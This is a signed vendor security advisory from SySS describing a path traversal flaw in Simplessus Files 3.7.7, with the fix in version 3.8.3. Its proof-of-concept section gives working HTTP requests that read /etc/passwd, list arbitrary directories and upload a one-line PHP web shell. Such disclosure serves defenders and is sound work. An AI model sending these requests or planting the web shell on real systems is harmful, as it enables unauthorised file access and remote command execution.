-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Advisory ID: SYSS-2017-004 Product: Simplessus Files Manufacturer: Simplessus Affected Version(s): 3.7.7 Tested Version(s): 3.7.7 Vulnerability Type: Path Traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: January 25, 2017 Solution Date: January 25, 2017 Public Disclosure: February 16, 2017 CVE Reference: Not yet assigned Author of Advisory: Dr. Adrian Vollmer, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Product overview: Simplessus Files is a file sharing web application. The manufacturer describes the product as follows (see [1]): Simplessus Files is a simple software solution to exchange files and documents over the internet. No more file sharing via e-mail, FTP or CD-ROM with Simplessus Files replace very large files online easily. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability overview: Due to insufficient filtering of user controlled input, Simplessus Files is vulnerable to a path traversal weakness. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: It is an obvious feature that users of the web application can download and upload files and list directories. However, this should be restricted to their own files and directories. Simplessus Files allows path traversal such that any user can read and write any file that the system user which owns the web server process has access to. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following request can be used to read the file /etc/passwd: POST /?action=FS&download=1 HTTP/1.1 Host: <HOSTNAME> Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 110 cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd The following request can be used to upload files to arbirtray directories in the file system (assuming www-data has write permissions): POST /?action=FS&upload=1 HTTP/1.1 Host: <HOSTNAME> Content-Length: 899 Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695 Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="name" o_1b6c3dbioah31hb0ijs5f911cja.png - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="chunk" 0 - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="chunks" 1 - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="path" fs/player2/TEST/../../../../../../../../../var/www/writeabledir/ - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="fname" ox2wdkplp3biex-syss.php - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="file"; filename="test" Content-Type: image/png <?php system($_REQUEST['c'])?> - -----------------------------2005325381163152094834751695-- The following request can be used to list all files inside any directory in the file system: POST /?action=FS&folder_content=1 HTTP/1.1 Host: <HOSTNAME> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 90 Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy=dummy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to software version to 3.8.3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-13: Vulnerability discovered 2017-01-25: Vulnerability reported 2017-01-25: Vendor confirmation 2017-02-15: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Simplessus Files http://files.simplessus.com [2] SySS Security Advisory SYSS-2017-004 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-004.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH. E-Mail: adrian.vollmer@xxxxxxx Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc Key ID: 0x037C9FE7 Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEcM/ojK7n2w9dyDQDDgJ8fgN8n+cFAlilY8EACgkQDgJ8fgN8 n+d7fBAAqZvlSCTt7I+KEI6U/So+7ENnSmPjPGA9kArHMyCoDMPsSNXpAC6vv7Rh 1TeEUmof015eHy0kGGwy8B3dwK9BdXR1IQ7oStKAY2z6jAJorc5Pj5tnk4gvUOWa kkqmBe2Apcd+ONDZefL75Mou0BHyM0HsLbEo+U37gc5pEGXn61h/mVaMAEVPQ6t1 4n9/WbzVLLkdh9lqKRPINL6JjTVmKQhpB0UTmmdPlNpz216rhhvHC00Xz0HTGWeM 5KFehRSLyFyDomAihK9jsvxqje1xdRkkxuN/khhg6a6LZEFe6roqL8AGAyHr/z/k vJxlyE0NFKq62dgIESFHXojQU1Zrwr1c2rSoYVXgSWFJmNdrciJ24aztk8t+epya mg37BbXaljt5VekrIVojWqtH8e2mJdfEmJjgP9J7TY9PJeRuHpJ0DMaLfbpMlMiE zGwNBT3A7Jcso+FBeEz6PQItYLObyywDHtPqk5fzfwgpmessCpq7aN5iknHfJxoA 2jyoX3Of/Q4rpzKBKxVf7pY/qIBUJKaNvXaGQcCcqKgDSMhmmiTUr+OWPjrChakA xAQ8QiQkoqAmH/0tHRvCfdh2y8k7XEQpj87RI2nvHxFuuRGfTj9w4Zood8sTrBag Zin1gomRgTZNL2dCu+6ijZOfIEspslY4bpZws49wWK1LGxWulGY= =7G5Z -----END PGP SIGNATURE-----